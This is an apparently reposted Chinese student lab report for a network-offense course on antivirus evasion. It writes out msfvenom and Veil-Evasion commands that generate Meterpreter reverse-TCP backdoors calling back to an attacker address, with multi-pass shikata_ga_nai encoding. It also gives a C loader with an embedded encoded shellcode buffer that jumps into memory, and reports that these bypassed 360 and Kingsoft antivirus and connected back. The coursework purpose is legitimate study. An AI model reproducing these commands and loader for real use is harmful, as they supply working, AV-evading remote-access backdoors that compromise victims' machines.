zoukankan      html  css  js  c++  java
  • 2018-2019-2 网络对抗技术 20165325 Exp3 免杀原理与实践

    2018-2019-2 网络对抗技术 20165325 Exp3 免杀原理与实践


    实验内容(概要)

    一、正确使用msf编码器,msfvenom生成如jar之类的其他文件,veil-evasion,自己利用shellcode编程等免杀工具或技巧

    1. 使用msf编码器生成各种后门程序及检测

    msf编码器是非常实用的,但是我的实践表明,直接实用msf生成后门(exe文件)是不容易躲过杀毒的,因此我认为在这场GAME中MSF试用于生成C语言的shellcode。

    2. 使用veil-evasion生成后门程序及检测

    同msf一样,直接生成exe难以免杀,C语言程序值得借鉴。

    3. 半手工注入Shellcode并执行

    鉴于自动生成后门程序的失败,半手工生成shellcode,这应该是最稳妥的方法。

    二、通过组合应用各种技术实现恶意代码免杀

    经过大量的测试,win10系统自带的Windows Defender难以攻破。

    (各种组合均未成功,而且我也没找到怎么看自己Windows Defender的版本,实验日期是190329,由于设置了自动更新,安装的应该是此时最新的Windows Defender)

    因此,这次实验我只能退而求其次,以360杀毒作为我的对手。

    三、用另一电脑实测,在杀软开启的情况下,可运行并回连成功,注明电脑的杀软名称与版本

    靶机也不是Windows Defender。。。。。。

    详细说明附后。


    基础问题回答

    一、杀软是如何检测出恶意代码的?

    启发式(长得像坏人、干的事情也像坏人就逮捕他!)、基于程序行为检测(实锤这个程序有没有干一些非法的事情)和基于特征码检测(检测壳、检测shellcode、检测编码头部)。

    二、免杀是做什么?

    免杀就是针对上面说的——杀软的三个检测方法进行伪装,避免杀软被找到,避免攻击进程被拦截或者杀死。

    正所谓道高一尺魔高一丈。。。。。

    三、免杀的基本方法有哪些?

    针对启发式和程序行为检测:附着在正常/合法程序的后面,同时启动,后台运行,尽量让杀软看不出区别;悄悄地进村,开枪的不要,动静尽量小,操作尽量少。

    针对特征码检测:用自己的方法让杀软看不出来shellcode,想办法封装。


    实验步骤

    Before We Start It

    使用360杀毒,程序版本:5.0.0.8150

    检查更新:目前是最新版本。

    一、正确使用msf编码器,msfvenom生成如jar之类的其他文件,veil-evasion,自己利用shellcode编程等免杀工具或技巧

    1. 使用msf编码器生成各种后门程序及检测

    1.1 不使用任何伪装

    首先在kali输入msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.43.215 LPORT=5325 -f exe > 5325-1.exe

    当拷贝到主机时发现:被逮捕了。

    1.2 用MSF对后门程序进行多次编码

    msfvenom要用到的参数,供参考:

    • -a <arch> 设置靶机CPU架构
    • --platform <platform> 设置靶机平台,可以通过--help-platforms选项查看msfvenom支持的所有平台
    • -p <payload> 设置攻击载荷,可以通过-l payloads查看所有攻击载荷
    • -e <encoder> 指定编码器,可以通过-l encoders查看所有编码器
    • -i <count> 指定编码迭代的次数
    • -x <path> 指定模版(合法程序)
    • -k 该选项可以保留模版原来的功能,将payload作为一个新的线程来注入,但不能保证可以用在所有可执行程序上(我失败了)。
    • -f <format> 指定生成格式,可以是raw,exe,elf,jar,c语言的,python的,java的……,用--help-formats查看所有支持的格式

    在kali输入msfvenom -p windows/meterpreter/reverse_tcp -e x86/shikata_ga_nai -i 10 -b 'x00' LHOST=192.168.43.215 LPORT=5325 -f exe > 5325-2.exe

    拷贝到主机时又被逮捕了。

    所以说直接生成exe是不行的,msfvenom肯定被很多杀软研究过,他生成的exe应该有一定特征(被杀软找到了并且作为特征码查杀)

    即使多次编码,就死盯解码部分,那么理论上说,这样是无论如何都行不通的。

    这道理我我我我我说不清楚,可以看孙晓暄学姐的博客(瞧瞧这话说的多么有水平!我这文盲语文水平就说不出来)

    别问,问就是牛逼。

    同样的事情也会发生在jar身上;

    在kali输入msfvenom -p java/meterpreter/reverse_tcp -e x86/shikata_ga_nai -i 10 -b 'x00' LHOST=192.168.1.207 LPORT=5325 -f jar> 5325-8.jar

    2. 使用veil-evasion生成后门程序及检测

    基于msfvenom的经验,我猜这样是行不通的(先奶一口)。

    veil的安装我就不写了,我记得我就sudo apt-get install veil-evasion就好了,可能我那会儿突然欧气了吧,幸运地没有遇到问题。

    kali输入veil进入;

    接着:Veil>: use Evasion

    然后:Veil/Evasion>: list

    能看见:

    ===============================================================================
                                       Veil-Evasion
    ===============================================================================
          [Web]: https://www.veil-framework.com/ | [Twitter]: @VeilFramework
    ===============================================================================
    
    
     [*] Available Payloads:
    
    	1)	autoit/shellcode_inject/flat.py
    
    	2)	auxiliary/coldwar_wrapper.py
    	3)	auxiliary/macro_converter.py
    	4)	auxiliary/pyinstaller_wrapper.py
    
    	5)	c/meterpreter/rev_http.py
    	6)	c/meterpreter/rev_http_service.py
    	7)	c/meterpreter/rev_tcp.py
    	8)	c/meterpreter/rev_tcp_service.py
    
    	9)	cs/meterpreter/rev_http.py
    	10)	cs/meterpreter/rev_https.py
    
    
            //后面还有很多
    

    紧接着:Veil/Evasion>: use 7

    7就是c/meterpreter/rev_tcp.py,然后设置如下即可生成:

    [c/meterpreter/rev_tcp>>]: set LPORT 5325
    [c/meterpreter/rev_tcp>>]: set LHOST 192.168.43.215
    [c/meterpreter/rev_tcp>>]: generate 
    

    起个名:

    [>] Please enter the base name for output files (default is payload): 5325-3
    

    回车就ok了:

    ===============================================================================
                                       Veil-Evasion
    ===============================================================================
          [Web]: https://www.veil-framework.com/ | [Twitter]: @VeilFramework
    ===============================================================================
    
     [*] Language: c
     [*] Payload Module: c/meterpreter/rev_tcp
     [*] Executable written to: /var/lib/veil/output/compiled/5325-3.exe
     [*] Source code written to: /var/lib/veil/output/source/5325-3.c
     [*] Metasploit Resource file written to: /var/lib/veil/output/handlers/5325-3.rc
    
    Hit enter to continue...
    

    你可以看见,已经生成exe文件到/var/lib/veil/output/compiled/5325-3.exe目录下面了。

    拷贝到主机就又被逮捕了。。。。。

    3. 半手工注入Shellcode并执行

    半手工就是说自己编译执行。

    首先在上面veil有一个文件是c语言的( [*] Source code written to: /var/lib/veil/output/source/5325-3.c),可以拷贝到主机看看。

    尝试用CB、VC、mingw编译均失败了,报错为 undefined reference to `WSAStartup@8'之类的。

    我发现后门的源代码中使用了socket套接字,mingw手工编译时需要链接ws2_32库,输入指令,gcc 5325-3.c -o 5325.exe -lws2_32编译成功。

    后面回连成功,没有拦截:

    垃圾360:

    还有一种方法:使用msfvenom

    kali输入:msfvenom -p windows/meterpreter/reverse_tcp -e x86/shikata_ga_nai -i 10 -b 'x00' LHOST=192.168.43.215 LPORT=5325 -f c生成C语言的代码。

    在vc里面运行:

    #include "stdafx.h"
    
    #include <windows.h>
    #include <stdio.h>
     
    //data段可读写
    #pragma comment(linker, "/section:.data,RWE")
    unsigned char buf[] = 
    "xdbxdexbbx21x8cxc5x6bxd9x74x24xf4x5fx31xc9xb1"
    "x93x83xefxfcx31x5fx13x03x7ex9fx27x9ex3ax9dx62"
    "x15xe9x7bxabx0fx79x58xc0xeexb0x69x99x83x83x3f"
    "xc9x98xb5xacx6ex58x3fxf4xf1x0cxd0x06x92xe7x1c"
    "x35xf8xb9x88x8ex15xbbx71xf7x35x5fx6bx8ax69xcb"
    "x73x88xabx55xa8xddx80xa4x97xabx28x98x26x8ax3b"
    "x8cxdex8axa5x87x88x52x17x21x76xe7x32x62x1bx32"
    "xf8x9cxb3xd0x03xafxd0x50xa5x1ax3fx26x35xf5x9e"
    "x25x17xd0xbbxfcx61x8dxa5xdfxfdx13x8cxc4x92xeb"
    "xf4xc3x87x6ex74x98xadxeex0cx1bx01x92x44x89xf6"
    "x3cx93x01xf1x8cxb3x5exc8x66xffx97x22x51x1fx65"
    "x93x83x4ax72x90x49x5ex90x2ax38x3fxe5xf1x79x0a"
    "xb7x51xe5xb7x84x3dxafx0exdfxfcx74x86x9dx59xad"
    "x3axbbx11x33x7axc6x62x5cxf9x02xcdx0axebxb1xd3"
    "x8axa2x0dxfaxf8xecx37xdfxadxfbx0cx4bxd7xc9xab"
    "x51xd7x4ax99x38x99x5bx6bx72x61x66x8fx72xd0xbd"
    "x47x34x70xd4x5ex71x0dx56x4dxd0xaaxebx80x12x51"
    "x50x30xaex24xc2x76x68xd4x12xb5x66x34xfdx6fx2e"
    "xcex42xf5x7axcdxffxa2x3cx4dxdax69x74xa4x1ax8c"
    "x85xd0x38xd6x7exb8x4ex3cxd7xbex35xf0x95x81x82"
    "xabx56xcbx39xa9x74x39x25xe6xefxb1x9exd9x43x36"
    "x91xecx30x72xc1x83x05x25x03xfcxd0xbfxc2x08x80"
    "x36xd2x61xd8x9fxc3x01x69xd1x26x4ax08x4ax38xa2"
    "x8ex73x81xcex43x5fx54x68xe2x4ax59xabx5cx5bxaa"
    "xc5x1exc0x57x75x3bxd2x5bxccx0dx8exaex0axd6xbe"
    "x60x79xd1xd6x1fx0dxa4x80x8excax62x94xc4x24x50"
    "xa0xdfx26x1cx5axe0x3dx6cx0axfbx6bxc9x60x23xa8"
    "x09xb8xfcxb4x1bx67x6cx19x4ex1ex8exe1x46x39xc5"
    "xc9x08x9bx02x89x74x11xb1xf5x34x0ax28x89xe4x24"
    "x5ax68xc5xdfxa2xafx65xecx59x47x93x85x9exaex61"
    "xe0xf4x75xb6x24xc3x30xd6xcax32x41x50x4bx3bxa1"
    "xfax30x92xb4xf8x62x18x46xdbx8bx61xa0x9cx1cx67"
    "x6fx69x24x3dxb8x5dxb3x5cx53x75xa9x48x71x2fx0a"
    "x90x87xb7x32x6cx5fxbax2dx6ex9fx2fxfcxf1x9exfb"
    "x48xbex97xf7xe3xb7x55x78x28xebxd3xcfxbcx80x9b"
    "xa8x03x9dxc1x28xe6x45x99x84xb2xcaxb7x44x90xde"
    "xd7x40xd4x4cx4ax70x3ax15xa1xcdx20x79x26xdcx77"
    "x9exeax4ex48x1fx57xd0x44x8bx20x1ax87x5cxe2xdf"
    "x8axb8x3exb5x34xafxbcx82xc9x3dx9dx88x2fx6fxde"
    "xd0xc8x19x3ax6ax96xcex6ax05xcfx41x79x74x11xd2"
    "x94x38xbaxdbx22xc6x70x3bxffx5cxde";
    
    
    int main(){
    	__asm
    	{
    		lea eax, buf;
    		jmp eax;
    	}
    	return 0;
    }
    
    

    再次回连成功:

    查不出来,稳得一批。


    用另一电脑实测,在杀软开启的情况下,可运行并回连成功,注明电脑的杀软名称与版本

    靶机金山毒霸,回连成功。


    心得体会

    首先我想说一句,这个东西,很有可能,今天成了,明天就不成功了。

    是真的啊,真的可怕。

    所以以后不能随便传上网扫了。

    还有就是Windows defender牛逼,怎么都成功不了。但是太过敏感的杀软,用户体验也不好,所以呢这可能存在一个平衡吧我猜。

    另外,除了后门的生成,后门如何启动也是一个问题。。。。。

    最后,我想说,我好菜啊。。。。。

  • 相关阅读:
    团队项目-选题报告
    第一次结对编程作业
    第一次个人编程作业
    软工作业1
    总结
    2013-2014 ACM ICPC Central European Regional Contest (CERC 13) K-Digraphs
    2018CCPC吉林赛区 F
    计蒜客-A1594 封印之门
    HDU-1599 find the mincost route
    POJ-2240 Arbitrage
  • 原文地址:https://www.cnblogs.com/maxeysblog/p/10630362.html
Copyright © 2011-2022 走看看